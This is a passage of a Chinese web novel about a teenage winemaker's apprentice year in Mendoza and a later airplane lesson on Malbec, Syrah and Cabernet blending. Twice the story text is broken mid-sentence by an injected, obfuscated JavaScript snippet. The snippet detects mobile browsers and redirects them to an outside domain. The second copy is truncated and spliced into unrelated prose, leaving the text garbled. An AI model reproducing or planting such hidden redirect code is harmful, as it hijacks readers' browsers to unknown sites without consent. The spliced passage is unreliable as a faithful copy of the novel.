那年的岳一宛尚且只是个平平无奇的富家子弟,这话放在他的耳朵里,根本就听不出其中门道。可十四岁的表妹却立刻就气得大骂起来:『你说谎!骗子!』 她愤怒地指着那农夫大喊道:『明明我们的中间人昨天下午就跟你说好了,我们今天会过来看看你的西拉和马尔贝克。怎么你今天就已经把西拉单独卖给别人了?你就是看着今年种西拉的人少,想着要哄抬价格罢了!』 『小姑娘,你可不能冤枉人哪。』那农夫捏着纸烟,依旧是笑眯眯的模样:『昨天下午?哦,昨天下午确实是有人来我这里说过这回事。』 『但他只是说,他的朋友会过来‘看看’,但却没说一定会买,钱更是没付过一个子儿啊!』 『你这根本就是强词夺理!』Martina简直是在尖叫了,『谁不知道‘看一看’就是要买的意思?哪有你这样做生意的,真是无耻!』 她的父亲抬起手,制止了她继续冲那农人发火。 『你的西拉葡萄还在藤上吗?』他心平气和地问道,『你要为它开多少价码?今年种西拉的人确实不多,这事儿我们可以商量商量。』 摘下了嘴里的烟,那农人别过头去,吐出了长长的一绺烟圈。 『我感受到了你的诚意,兄弟。』他不笑了,语气十分严肃:『但我很抱歉,今年的西拉葡萄已经卖掉了。』 他说:『最近有好几家大酒商都在收购西拉呢,听说这几年它又在国际上重新流行起来了。哈哈,谁能想得到这事儿呢……抱歉,兄弟,但他们昨晚开出了个你绝对出不起的价格。』 『多去问问别家吧。』他好心地劝面前的酿酒师道:『去到再偏远点儿的地方,那里或许还会有些漏网的西拉。』 舅舅沉默地点了点头,从裤子口袋里掏出钱夹,点了足数的钞票递过去:『给,』他说,『我们要所有的马尔贝克。明天一早就采收,好吗?我们的人会开车过来运。』 岳一宛抬眼,发现这笔交易的结算货币是美元,而非自己口袋里那些充当零花钱用的阿根廷比索。 『我们就不该买下他的马尔贝克!』 回程的路上,Martina坐上了副驾座,她的父亲似乎以为这样就能够安抚这小姑娘的情绪。 她愤怒的声音比那颗砸上了挡风玻璃的石子更有穿透力:『让他的那些马尔贝克和他一起去死!这种没有信誉的人就该下地狱!』 劳动了大半天,岳一宛整个人都困得瞌睡迷瞪的,但舅舅和Martina的对话总是有一搭没一搭地传入他的耳朵里。 『Martina,别耍脾气了,这都是没办法的事情。』他说,『我们酿酒是为了赚钱吃饭,而农夫种葡萄不也是为了赚钱吃饭吗?如果能卖出更高的价格,谁会不愿意卖呢?』 『那做人也得要有最基本的诚信吧!』 Martina还是很生气,她大概永远不会原谅那些从她手里抢走葡萄的人:『再说,他怎么就知道,我们家一定不能用同样的价格买下那些西拉?少瞧不起人了!』 『唉,Martina。』舅舅叹着气,『你已经不是第一天跟我去田里收购葡萄了,对不对?就像那位农夫也不是第一天面对来收葡萄的人。』 『各行各业都有独属于自己的智慧。』他说,『我们是小酒坊,这是开口聊上两句就能知道的事情。我们没有雄厚的资金去和大酒商硬抬葡萄的收购价,这是众所周知的事实,再生气也没有用啊。』 『而且,葡萄是有生命的东西,它不是在藤上成熟了之后就永远一成不变地呆在那里的。我们这里的收获季节经常会有冰雹,记得吧?今早还好好呆在藤蔓上的葡萄,可能在明天到来就会被一场冰雹给打得稀巴烂。明天总是充满未知,可如果你今天就能把藤上的葡萄都变成现金,那明天的冰雹与不幸就与你毫无关系了。』 『我能理解他们这么做的原因,Martina。你也得理解他们,如果你想要长长久久地与他们做生意的话,你得学会从他们的立场上来看待这件事。』 Martina沉默了好久。然而,在她满是愤怒与不甘的沉默里,岳一宛想起自己的十四岁。 他想起每年榨季的那几个月,自己拎着书包回到家里的情景。 毫无疑问,妈妈正在酿酒车间里忙碌,而爸爸正应该在去公司开会或者出门应酬的半路上。学校的作业简单却无聊,他能做的最接近“酿酒”的事情,就是偷偷溜进父母的书房里,拿出那些关于酿造科学与微生物的书来读。 十四岁的岳一宛以为自己是世界上最厉害的年轻人,他以为同龄人都是笨蛋,只有自己注定不凡——别问凭什么和为什么,问就是牛逼不需要道理——是生来就要做天才酿酒师的大人物。 但一直长到十六岁,他都还没亲手触摸过任何一件酿酒设备。而更加年幼Martina呢?她已经像个初初入行的助理酿酒师那样,里里外外地在为他们家族经营的小酒坊而忙碌了。 这令他感到了不止一丝的羞愧。 『但是,爸爸。』Martina的声音听起来像是快要哭了,『我们今年收购的所有马尔贝克葡萄,都没有好到能做单一品种酿造的地步。如果没有西拉葡萄参与混酿,我们还能用什么来给酒增加更多的香气呢?』 舅舅表现得依旧沉稳,正如同岳一宛想象中的那种能镇得住场子的成年人:『我们会有办法的,孩子。』他说,『要相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488960|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,上帝不会放弃我们的。』 岳一宛不相信上帝,但他相信人的力量。因为人类的历史,就是与大自然进行抗争与合作的历史。 从那天开始,他自发地加入了这个榨季的工作——他对舅妈宣称这是因为自己实在太无聊了,实在没有其他事情可做。 而Martina立刻就把抹布和水管塞进了他手中,『我的家庭作业要写不完了,所以冲洗那些运葡萄的塑料筐的任务就交给你,我会好好检查的!』 她可真是都一点没把客人放在眼里啊。 每天早晨,天还没亮,舅舅就已经坐在了餐桌边。虽然没有任何人向他提出这样的要求,但岳一宛也尽力挣扎着从床上爬起来:因为采收葡萄的工作就是从这个时间开始的。 作为收购方,他们并不需要动手参与采收葡萄,但舅舅总是要站在田边看着这项工作的完成。他眼色焦灼地看着农人们将葡萄从藤上采下,嘴里还一个劲儿地念叨着『轻点,哎哟,轻点放!』 早间跟车的酿酒工是位年轻小伙儿,正在打工攒蓄自己的大学学费,他只比岳一宛大三岁。 两人站在路边等待葡萄装箱运输的时候,他问岳一宛:『你知道吗Iván,在被送进发酵罐之前,所有葡萄都还要经历一个‘打碎’工序——那你猜,为什么采摘的葡萄时候还要尽量不让它们破损呢?』 这人满脸都写着得意洋洋的“你快问我啊”几个大字。 年纪更小的那个却连看都没看他,只是目不转睛地注视着田里那些工作的人们:熟练的采摘工手起剪落,葡萄像下雨一样地掉进背篓里,而不熟练的新人则常常在剪下葡萄的同时还对它们进行一些笨拙的拧动,这种动作很可能会让一些葡萄裂开…… 『因为空气中也存在酵母菌。』 岳一宛语气冷淡,这种问题他小学的时候就知道答案了:『葡萄一旦破碎,接触到空气的汁液就会开始慢慢发酵。这是一种不可控的发酵,需要尽量避免。』 『听听!这小家伙真不愧是Ines的孩子!』 在离他们几步远的地方,舅舅听见他俩的对话,冲这边喊话语气里充满了全然的自豪:『我妹妹Ines,她当年也是这样,明明从来没有人教过她酿酒,但她懂比谁都多!』 明明是夸奖的话语,岳一宛却在心中气得不轻。 说谁没学过酿酒呢?他恶狠狠地磨着牙,心想:我可是打从娘胎里就开始学习酿酒相关的理论知识了,只是眼下还没有亲自动手酿过酒而已!暂时没有! 除了要运送葡萄回酒坊外,岳一宛还需要爬上爬下地打扫发酵室,协助检查葡萄汁的发酵程度,帮忙搬运橡木桶,以及许许多多个他之前未曾想过与“酿酒师”这个职业有关系的工作。 家里的酿酒车间向来都有专人负责清洁,而在家里的岳一宛也从来不觉得发酵罐是什么稀罕的东西。如果他想知道罐子上那些计数表与旋钮都有些什么用的话,他只需要开口问Ines就行。 可是,妈妈已经不在这个世界上了。而岳一宛还从未来得及向她询问更多关于酿酒的问题。 现在,若要在“酿酒”这条的道路上前进,他只能依靠自己,因为前方已经再无捷径。 穿起胶鞋与塑胶手套,年轻的男孩拿着水管与地刷用力冲洗着发酵间的每一块地板。经年历久,葡萄汁在地面上染出淡红色的痕迹,他会竭力确保地上的每一块颜色都不是残渣与废水的漏网之鱼。用来爬上高大发酵罐的窄梯是用钢条钉制而成的,一天之内上下数遍,连最健壮的青年都会直呼腰酸背痛。 Martina有时候会跑过来问说要帮你一把吗? 岳一宛只是一声不吭。 刚开始发酵的葡萄汁味道绝不算好,他必须忍着抽搐的表情才能将那汁液含在嘴里感受——即使有实验器皿的参与,亲身品鉴依然是酿酒师工作中最重要的组成部分——体会,理解,然后学习,就像世界上每一个新手入行的酿酒师那样。 舅舅说你可以不用那么着急的,不过只是十几岁的年纪,不需要强迫自己做得和职业酿酒师一样好啦! 岳一宛只是摇摇头。 既然这小孩愿意多学又不介意多做工,酿酒工们自然也乐得在一旁教他:看到没,小子?这玩意儿叫发酵棒,怪沉的咧!你能拿得动吗?对对对,就是这样,把浮上来的葡萄皮往发酵液里面压进去,对对对,做得没错! 舅妈总在晚餐时给他加满整整一盘的各式牛肉。你太辛苦了,你的胳膊都变细了!她的语气里不乏惊慌失措。 那那是肌肉。开口的是外祖母,她现在偶尔也会和岳一宛说上那么两句话:你要吃焦糖奶油饼吗?我们今晚可以吃这个做甜点。 岳一宛已经枕着胳膊在桌边睡着了。 他总感觉好像正在追赶着那些业已失去的时间,又好像是未来的时间正在后面追赶着他。 跑快一点,然后跑得再快一点吧。 十六岁的岳一宛在心中呐喊着。 四月中旬的一个早上,他在凌晨五点整准时醒来。 楼下客厅木地板上响起了嘎吱嘎吱的脚步声,那是舅舅在一楼来回走动的声音。 外祖母在隔壁的卧室里抱怨,『轻声点!吵得人不要睡觉了!』走廊另一端的两间小卧室里,年长的表哥与表姐各自发出了痛苦呻吟:『爸……!今天学校不上课……让人多睡一会儿行吗……』 住在一楼小隔间里的Martina则试图通过猛跺地板来表达她的不满:『该死!你们吵得让人头痛,我要写不完作业了!』 正用冷水洗脸的岳一宛只想把他们统统都打包挂进雪山顶上去。 死气沉沉地走进厨房,岳一宛的脑子里酝酿起一些因饥饿而变得过分恶毒的坏主意(给讨厌蜂蜜的Martina往早餐牛奶里加入致死量的蜂蜜如何?这一定会是个报复她大清早就开始折磨自己耳朵的完美计划),而面包篮里的酥皮点心也正一个接一个地悄悄飞进他嘴里。 距离榨季的结束还有两个月,完全可以预料得到,今天也将一个会让人忙到散架的日子——岳一宛擦了下嘴,思考了两秒,明智地决定再多吃几口,就当是供养身上那两块日益明显起来的肱二头肌与腹外斜肌了。 他正把罪恶的魔爪伸向篮子里的又一块牛角面包,舅舅急匆匆地从厨房门外走进来。 『一个好消息!』酿酒师难掩脸上的喜色:『我的中间人说,他找到了一批还没被收购的赤霞珠葡萄!』 『赤霞珠?』尽管此时他的嘴里正塞满了面包,但甜蜜的碳水也无法阻止岳一宛这颗天生要属于葡萄酒的脑子立刻进入高速运转状态:『——所以我们的那些马尔贝克有救了?!』 『快快快快!』他被兴奋已极的舅舅一把拎上了皮卡车:『趁着天还没亮,我们得抢在所有人之前拿下这些赤霞珠!』 25.与马尔贝克合奏 故事听到一半,小杭总监举手虚心求教。 “为什么赤霞珠能拯救马尔贝克?”他的问题像连珠炮一样蹦出来,“马尔贝克葡萄需要西拉来做混酿又是怎么回事?” 公务舱酒单的介绍栏里,这瓶产于门多萨的葡萄酒下面明晃晃地写着一行大字:马尔贝克单一品种酿造。 “所谓的‘单一品种酿造’,就是说只用一种葡萄来酿酒是吗?混酿就是用多种葡萄一起?” “问题太多了杭同学,让我们从头开始一个个来。” 捻转着手里的酒杯,岳大师逐一接过了这些提问。 他随手指向酒单上的那行字:“从字面意义上而言,没错,所谓的‘单一品种酿造’,就是指那些只使用了一种葡萄来酿造的葡萄酒。但实际上,所谓的‘马尔贝克单一品种酿造葡萄酒’,是指在酿造这瓶酒所使用的葡萄里,有75%、甚至是85%以上都是马尔贝克,并不是指马尔贝克纯度百分百哦。” “那也就是说……”杭帆思索着点头:“在一瓶酒中,即便是使用了两种甚至三种四种葡萄进行酿造,只要占据主导地位的那一种葡萄达到75%及以上,它就依然被称之为单酿葡萄酒。反之,如果占据主导地位的品种低于了‘单酿’的百分比,它就是‘混酿’?” “确然如此。”岳一宛微笑,“只是那个数值未必就一定是75%。” 同一种葡萄到底要达到多少百分比以上,这瓶酒才能被称为此种葡萄的‘单酿’,世界各地葡萄酒产区都对此有着各自不同的规定。 “但显而易见的是,当某一种类葡萄占据压倒性多数的时候,酿造出来的葡萄酒,就一定会鲜明地展现出这种葡萄自身所拥有的独特风格——这就是我们酿酒师酿造‘单酿’葡萄酒的原因。” 岳一宛竖起食指,抵在唇边:“那么,在杭总监看来,‘混酿’又是为什么而存在的呢?” 通过岳大师先前所述的那一节故事,杭帆其实已经隐约地捕捉到了“混酿”背后的意义:“……呃,就是,掩盖单一品种葡萄的不足?” 他试图比划出自己心里的那种模糊理解:“就是,比如说,倘若某一种葡萄的品质不够好的话,就勾兑一些其他品质更好的葡萄,来提高酒的整体品质?大致上是这个意思?啊,我不是在说那种不好的‘勾兑’……” 瞧这话说的,差点没让岳一宛被自己的便宜好学生给活活气死。 气急败坏地撂下酒杯,斯芸首席酿酒师一把捏在了杭帆的胳膊上:“虽然我近来确实非常欣赏杭总监这份有话直说的个性,但什么‘勾兑’来‘勾兑’去的,也实在说得太难听了吧?!” “这是诽谤!是造谣!是对我们酿酒行业赤裸裸的污蔑!!” 他一边钳着杭帆的胳膊,还一边伸手去挠对方的腰眼,直把笑出眼泪的小杭总监逼到舷窗与座位的夹角里连声求饶。 “再给你一次重新表述的机会,”恶鬼岳一宛露出了他那一口白森森的牙,并不轻易停手:“把你的措辞修得好听点,快!” 飞机上的旅客大多都在休息,为避免打扰旁人,他俩都把说话声音压得极低,几近于气声。而在岳大魔头的挠痒痒攻势下,杭帆忍笑忍得实在辛苦,连腹肌都快裂成了八瓣。 “岳一宛——你!君子动口不动手!” 小杭总监一边闪躲着岳大师的欺凌之爪,一边吭哧吭哧地闷声憋笑:“快停下!好了别挠了算我求你,你这样还让我怎么用脑子去想!救命,别来了,我真的要岔气了,是真的——” “看看,看看。关键时刻,还是只能让我这种专业人士来发言。” 故作沉痛地,岳一宛收回了手,清了清嗓子,这才重又开始了他的葡萄酒小课堂。 “关于混酿,没错,大致意思上就是你理解的那样——但‘勾兑’这个词实在是太难听了,请你给我换掉——当单一品种葡萄的酿造结果,无法实现酿酒师的期待时,我们就会加入其他品种的葡萄,以达到‘取长而补短’的目的。” “就像是团队合作——你和同事一起做项目不能叫‘互相勾兑’,这很好理解对吧?所以现在立刻马上就给我忘掉‘勾兑’这个词!” 杭帆赶忙点头不迭,希望岳大师能就此停下这幼儿园级别的记仇行为。 岳一宛这才满意地放过了他,继续说道:“好的团队合作,是为了让团队中的每一个成员都能发挥出他们的长处。集合不同品种葡萄的优点,像多声部的乐曲一样精妙地呈现出富于层次的香气和口感,这就是混酿的精髓所在。” “如果把一瓶葡萄酒比作是一部交响曲的话,不同品种的葡萄扮演着类型不同的乐器。就以马尔贝克、西拉与赤霞珠为例,你可以把这三种葡萄分别想象成大提琴、单簧管与小提琴。” 与归类于白品种葡萄的小芒森不同的是,马尔贝克、西拉与赤霞珠都是典型的红品种葡萄。 顾名思义,青绿色果皮的白品种葡萄主要被用来酿造白葡萄酒,而紫红色果皮的红品种葡萄则主要用来酿造红葡萄酒。 马尔贝克(Malbec),这是一种果皮颜色紫到发黑的酿酒葡萄。由它酿制而成的葡萄酒,颜色浓郁深沉,口感顺滑柔和,甚至是在吞咽下去之后,你依然能在舌面上隐约而持久地感受到那甜美奇异的回甘。 “马尔贝克的单酿就像是大提琴的独奏。”岳一宛说,“圆融,宽广,又缠绵。” 他捡起杭帆面前的那只空酒杯,递到对方的唇下:“盛过酒的空杯其实最适合用来感受香气。闻闻看,是不是有水果的香气?” 杭帆在杯边嗅了嗅,抬起眼来,递过一个“你硬要这么讲那我也没办法”的表情。 “……酿酒葡萄的本质也是一种水果吧?” 杭总监的脑袋,诚实得像是个不开窍的硬壳儿椰子:“那,葡萄酒的味道,当然就是水果的味道啊?” 阴森森地伸出手去,岳一宛在小杭总监的无辜脖颈上咔嚓就是一记手刀。 “给我努力发挥想象力!” 用力捏住了杭帆的下巴,斯芸酒庄的大独裁者恶狠狠地威胁道:“黑李子,黑醋栗,黑莓,黑樱桃!这些标志性的黑色水果香气,你至少也得能闻得出一个吧?!” 原来这事儿是纯靠想象的吗?! 象征性地挣扎了两下,杭总监认命地闭上眼睛,重又闻了闻怼在自己面前的那只空酒杯。 “如果一定不能说‘葡萄’这个词的话,”几乎调动了每一只嗅觉细胞,杭帆竭力搜刮着脑海中那些有着相似气味的水果:“这个味道有点像是,嗯……因为熟透了而发黑的车厘子?可能是因为放得久了点,所以摸起来稍微有些软。闻起来虽然依旧很香,但吃起来的话口感可能就没有新鲜的时候那么脆了。啊,又或者是那种,特别大又特别甜的桑葚,在大热天的时候被放进了临期打折柜台,熟过头之后好像轻微地开始发酵了的味道……” 沉默片刻,岳一宛缓缓评价:“……您这想象力太过于逼真,甚至让人开始感到有些不适。” 杭帆面无表情地在椅子下面用力地踩了他一脚。 “这不是你要我动用想象力的吗?!” 杭总监大怒,敢问您老是我甲方还是我的直属领导?您是搁这儿来检查工作的啊?这就对我的修辞手法挑三拣四上了? “那也没让你动用这么负面的想象力啊!”岳大师直呼冤枉:“唉,好吧好吧,虽然用词上略有偏差,但杭同学你也算是大致也理解了这个意思——简单来说,这种类似车厘子和桑葚的气味,在品酒术语里,就是我们用于描述某些特定葡萄种类的‘黑色水果香气’。” “而你描述的那种‘熟透之后放得有点久了’或者‘大热天里因为过熟了而偷偷轻微发酵’的感觉,应该就是品酒术语里所谓‘煮熟的水果’或者‘非常成熟的水果’气味。” 岳一宛摸了摸下巴,“有些人好像是会觉得这种味道让人不太愉快啦,但我觉得……其实还好?单纯作为葡萄酒的香气而言的话。” 对此,杭帆也表示同意:“虽然是这样描述的,但我也其实并没有觉得这个气味让人很不适。” 在葡萄酒那芬芳醉人的香气里,这种“煮熟了的水果”的气味其实并不会十分突出,更不会鲜明到令人产生不适。 可语言就是这样的一种东西。 当我们试图使用它来对某种新鲜感受进行描述时,往往需要在复杂而陌生的事物中,寻找到一个令人感到既熟悉又亲切的支点。 “就是,嗯……有时候,‘通俗易懂’的比喻,往往会显得格调不太高雅……” 杭帆的目光左右游移,泄露出了不止一点的心虚:“但是你要跟我讲什么‘黑醋栗’,这,那,我也不知道醋栗是什么味道啊,对吧……” 岳一宛哑然。 长期浸淫在葡萄酒的行业最前线,他是真的忘记了这点:对大部分中国人而言,醋栗与黑莓之类,实在不算是什么常见物种。 用它们来描述葡萄酒的香气,无异于是教小学生用微积分来解附加题——要是这都能听得懂,那才有鬼! “嗯,嘛,关于葡萄酒香气的拓展延伸就到此为止。” 为掩饰教学失误,岳大师强行拉回话题,道:“刚才我们说到了哪儿来着?哦,大提琴。” “一瓶无限趋近于完美的马尔贝克单酿葡萄酒,就像是杜普蕾演奏的大提琴曲。交响乐团?不不,那些都只是她的琴声的陪衬,是单酿酒里占比不到15%其他品种。” 他说:“当你一喝入口,鲜明的马尔贝克风格就会立刻将你征服:如此的细腻而饱满,完全可以被比作是琴弦上低徊吟唱的乐句。婉转,圆润,同时还具有着激荡人心的强烈魄力。” “对!就像我们刚才喝这支。” 岳一宛摇了摇手里的空杯,“虽然还没到杜普蕾那样举世无双的级别,但姑且也算是个低配版的马友友吧。” 但是,这世上有这么多职业演奏大提琴的人,即便是低配版,又有几人能够成为像杰奎琳·杜普蕾和马友友那样芳名不朽的演奏家呢? 在葡萄酒的世界里,各个产区都有所谓的“好年份”一说——正是因其稀有罕遇,那些由状态绝佳的完美葡萄们所酿成的葡萄酒,才会在市场上格外受人珍视。 “而大部分的马尔贝克单酿,其实缺点都很明显,就像是那些艺术才能相当平庸的演奏员。” 岳一宛的嘴就像是开过刃的刀子,随时随地都能说出一些锋利得令人胆寒的话来:“喝到嘴里的感觉,就是中规中矩,平平无奇,没有灵魂。好比有些个让人昏昏欲睡的音乐会,你听着音符都是对的,横竖也挑不出什么错处,但就是无聊!无聊得让人觉得自己和葡萄的生命都被浪费了。” “但正所谓,天无绝葡萄之路!” 岳大师兴高采烈地道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一想到这三个残酷字母,某位总监就想要哐哐撞向小桌板:这不正常!这不合理!这不对劲啊! 命运之神,我到此做错了什么才让你如此恶劣地对待我?! “不过,人也不是想要什么,就一定能得到什么的吧?” 岳一宛又说:“没能去拉菲酒庄或罗曼尼康帝主持酿酒工作,难道是因为我不想吗?” 总体而言,杭帆还是非常佩服岳大师的。 毕竟这人毒舌起来竟连自己都要捅上一刀。 “对葡萄而言,想要成为酒瓶中的主演,也是桩万里挑一的难事。” 斯芸的首席酿酒师耸耸肩,说:“这就像是不同艺术家的个人风格,‘柔和圆融’,往往与‘平庸寻常’只有一线之隔。马尔贝克就是这样一种葡萄。” 酿酒,就是在为葡萄们排练一首完整乐曲。如果大提琴的独奏本身还不够丰满的话,不妨加入一些其他乐器的音色。 比如西拉葡萄(Syrah)。 因为两者间有着极其相似的口感,西拉与马尔贝克,常常成为葡萄酒盲品大赛中的双胞胎刺客,把无数经验老道的品酒选手都斩于马下。 也正是这种高度相似,令西拉葡萄得以天衣无缝地融入到马尔贝克之中。 “说到这个,想当年,我也经常因为分不出西拉和马尔贝克而被人嘲笑欸。”岳大师单手托腮,也不知追忆的是多少年前的事情:“呵呵,呵呵……这种苦头,真想让别的什么人也来尝一尝呢!” 听他这满腹坏水在肚里打转的语气,杭帆的小心脏立刻突突狂跳起来:“保险起见,我先问下——” 他胆战心惊地往远离岳一宛的方向移了移:“你不是在打算让我也学会区分西拉和马尔贝克吧?” 我是来打工的,不是来攻读学位的啊! 绝望的小杭总监已经在心里为自己提前敲上了木鱼。 深深看他一眼,岳大师重重一叹。 “那我倒也没对你抱有这么大的希望。”这人唉声叹气地说道:“因为确实是太像了嘛,西拉葡萄也就比马尔贝克酸了那么一点点,又在香气里多了那么一点点黑胡椒与紫罗兰的味道。” “要是真带你在这个课题上死磕到底,只怕你是这辈子都出不了师了。” 听他那惆怅语气,装得跟真的似的。 “那还真是谢谢你啊岳大师,”杭总监回以一记面无表情的凝视:“让知识以一种相当刻薄的姿势进入了我的脑子。” “不用谢,”岳一宛笑称:“为师这样努力,也就是想让知识在你的脑子里多停留片刻,善哉善哉。” 说着,他又把杭帆往自己身边扯了扯。 毕竟这是在飞机上,总得压低了声音才能说话。 “在酿酒葡萄里,西拉可以被比做是单簧管之类的木管乐器。虽然音色算不上非常鲜亮,但与马尔贝克这把大提琴合奏的时候,它柔美的酸度与独特的香气,都能为葡萄酒增添一份更加丰富的层次感。” “而假如,我们想要在乐曲中增加一些更加明丽高亢,且具有更多个性与锋芒的音色呢?小提琴或许就是一个很好的选择。” “来吧,认识一下世界上最富盛名的品种,赤霞珠(Cabe Sauvignon)——酿酒葡萄乐团中的小提琴。” 26.赤霞珠,为我高歌 十六岁四月的那天早上,一线微熹的晨光,缓缓自辽远平原的尽头漫溢而出。 坐在舅舅那辆皮卡车的副驾座上,岳一宛看向道路两侧的那些葡萄田:在收获季的末尾,大部分葡萄都已被从藤条上采摘完毕,只剩一片片绿油油田块,无垠无际地铺展向无尽的远方。 还有一个多月的时间,所有被采收下来葡萄都将结束它们的发酵过程。到那时候,门多萨产区今年的榨季也就宣告结束。 『都已经到四月了,』打着方向盘转进公路上的时候,舅舅若有所思地嘀咕着:『这批赤霞珠的成熟度应该很高。希望它的品质也别令人失望才好。』 葡萄是有生命的东西。进入收获期后,它们在藤条上呆的时间越久,果实中的水份就会流失得越多。对水果葡萄们而言,这或将是一场毁灭性的打击,但在酿酒葡萄的世界里,因采摘时间的后延而发生的轻微脱水,反而变成了一种可贵的优点——在业内,它们被称为“晚收葡萄”。 『晚收的赤霞珠,因为果实中水份的轻微丢失,反而会让它的风味更加浓缩,含糖量也变得更高。』 岳一宛努力回忆着那些他从书上看来的内容:『更高的含糖量,就意味完全发酵后的酒精度数会更高。酒精度数高,则代表它具有更好的陈年潜力,在桶陈结束完成装瓶后,或许还能被完好储存地十年以上……』 旷野上吹来的风呼呼灌进车窗里,舅舅笑着摇上了窗户:『关于葡萄的事情,你都记得挺牢啊,Iván。』他重重薅了一把自家外甥被风吹乱的头发,感慨颇深地喟叹道:『比我当年,唉,你可是要强得多啰!』 『今年的这批马尔贝克,质量并不算很好,不是吗?』 全然无视掉了来自长辈的褒扬,岳一宛只自顾自地迎头跳入他感兴趣的话题:『而且采收得都很早,含糖量也不高。用这样马尔贝克酿造出来的酒,不仅品质较为一般,酒精度数也低,几乎不具备长期存放的能力……』 『但如果把它们与赤霞珠一起进行混酿,赤霞珠带来的高酒精度,是不是就能够让这批马尔贝克也拥有很长的陈年期了?』 他很认真地问向身边这位老练的酿酒师。 这份验证猜想与求问新知的执着,俨然与象牙塔中那些最狂热于演算和推理的学者们无异。 『……这些也是Ines教你的吗?』 舅舅没有直接回答他的问题,反而是提起了妈妈的名字。 Ines,妈妈。 时至今日,这个名字,这个称呼,它依然会在岳一宛那颗年轻的心脏上轻微地擦出伤痕。但那疼痛的感觉已经开始渐渐减淡,再不似葬礼后的第一个月那般刻骨锥心。 有些时候——比如此刻,当岳一宛全身心地沉浸在葡萄与酿酒的世界中时——他会隐约感觉到,在血脉的深处,在这片任由葡萄藤蔓恣意生长的大地上,她的理想与事业依然与自己同在。 这令他感到安慰,以至于可以顽强地抵御住胸腔里再度涌起的悲痛感觉。 『她教过我许多关于赤霞珠的知识。』岳一宛说,『但她没有教过我这个。』 她还没来得及教我这个。他在心里想。 『这是我从她的教科书和笔记本上看来的。』 单手把着方向盘,舅舅从裤口袋里摸出了一根烟。 『你说的都没错,但只是……』 腾不出手来点火,他非常随意地烟叼进了嘴里:『或许,在你们那里,Ines是这样的做的,但是在我们这里——别误会,Iván,我不是说你爸爸妈妈的酿酒方式不对,但我们这里是不同的情况,你能明白吗?』 『Ines,她很聪明,她一直很聪明。』舅舅说,『虽然爸爸在世的时候死活都不愿意承认这点,但她确实是我们家里最聪明的一个。』 岳一宛不知道舅舅为什么突然要说起这个话题。他觉得自己此刻更在乎那些急需被采收的赤霞珠葡萄,而不是这些老掉牙的家族故事。 帮帮忙好吧!他在心里烦躁地呼着气,心想:如果是妈妈在这里的话,她一定也不在乎她老爸认不认同她的这种无聊小事! 『你知道吗,Iván?接手家族酒庄这么多年以来——哦,我们现在没有葡萄园,不再是酒庄,只是一家小酿酒厂了,哈哈……但是,我时常还是在想,尤其是在遇到各种破事的时候,我总是忍不住要去想,如果当初继承这里的不是我,而是妹妹Ines,是不是就不会遇到眼下的这些糟心情况了?』 好无聊的问题。 十六岁的岳一宛对此只怀抱以不屑一顾的态度。他只可惜自己没法立刻就长出一对翅膀来,扑扇两下就直接飞进赤霞珠葡萄的田块里去。 『……或许吧。』 在干巴巴的数秒沉默之后,他才终于开口接上了半句话。 对于他的敷衍,做舅舅的那个似乎并不太在意。 『其实我从接手酒庄的第一年就开始这么想了,Iván,这事儿说起来你或许不信。但那时候我总以为,等Ines念完大学,她就一定会回到家里来。到时候,即便她不开口,我也可以找个‘自己不喜欢酿酒’‘想要带着家人去城里生活’之类的借口,把这里的产业都交给她。她从小就比我强,她一定能做得比我好。』 他说这话的时候,侧头看了岳一宛一眼,笑容中满是无奈的苦涩。 『我没想到她再也没有回来。我猜,在她去上大学之前,这里的所有人就已经全都伤透了她的心。』 你们有没有伤透她的心这个我真不知道。但我知道田里那些赤霞珠葡萄正在遥遥地向我大喊“救命”。 岳一宛在心里大声嘀咕。 这车真的不能再开快点吗?天都要亮了! 『听说她在大学里谈了个男朋友,爸爸差点被她气到中风。你知道吗,Iván?我们的老头子,曾经想要给Ines安排一桩婚事,就因为他以为这样将有利于家族事业的发展。结果我妹妹二话不说就从家里逃跑了,不仅跑去了美国人那里念书,还和中国男人谈起了恋爱,这可让老头子在家里发了好大的一场火啊!』 父母那一辈的前尘往事,岳一宛以前也曾断断续续地听他俩讲起过一点,但他对这些老黄历实在是提不起兴趣——为了打发时间,他的大脑已经自说自话地勾勒起了赤霞珠葡萄的家族谱系图。 赤霞珠,是最传统的酿酒葡萄品种之一。 距今六百多年前,某个山林郊野中,长相思葡萄与品丽珠葡萄自由地媾和在了一起。这场生发于大自然之中的偶然激情,无意中诞育出了一种生命力顽强又极为丰产的红品种酿酒葡萄:赤霞珠。 就像为求生计而浪迹天涯的第一代华裔移民们那样,赤霞珠的足迹也遍布全球各地,并在不同种植条件下都表现出了优越的适应性与稳定产能。钟爱于它的葡萄种植专家们还尝试将赤霞珠与其他品种杂交,由此而得到了另一种大受欢迎的酿酒葡萄品种,马瑟兰。 嗯…… 岳一宛不由沉思起来。 品丽珠,赤霞珠,马瑟兰,这简直就是祖孙三代啊,他想。 而且,似乎以前也在哪里见过用这三种葡萄做出的混酿。这么看来,人家是四世同堂,这种混酿是……三世同瓶?葡萄亲子丼?全家老少整整齐齐? 『Ines想要一间自己的酒庄,当然,不是指我们家里这种又旧又破的小酒坊啦。所以,我听她说,她要和丈夫一起在中国建立自己的酒庄时,我很羡慕她。我羡慕她梦想成真,也羡慕她……能够去做那些我做不到的事。』 等岳一宛从葡萄伦理笑话中回过神来的时候,皮卡车已经从高速的岔路边开了下去。根据路牌的指示,他们要去的地方就在前方几公里处。 陷没在回忆里的舅舅,苦笑着摇了摇头。他似乎并不是想要取得岳一宛的理解,而是单纯地想要诉说。 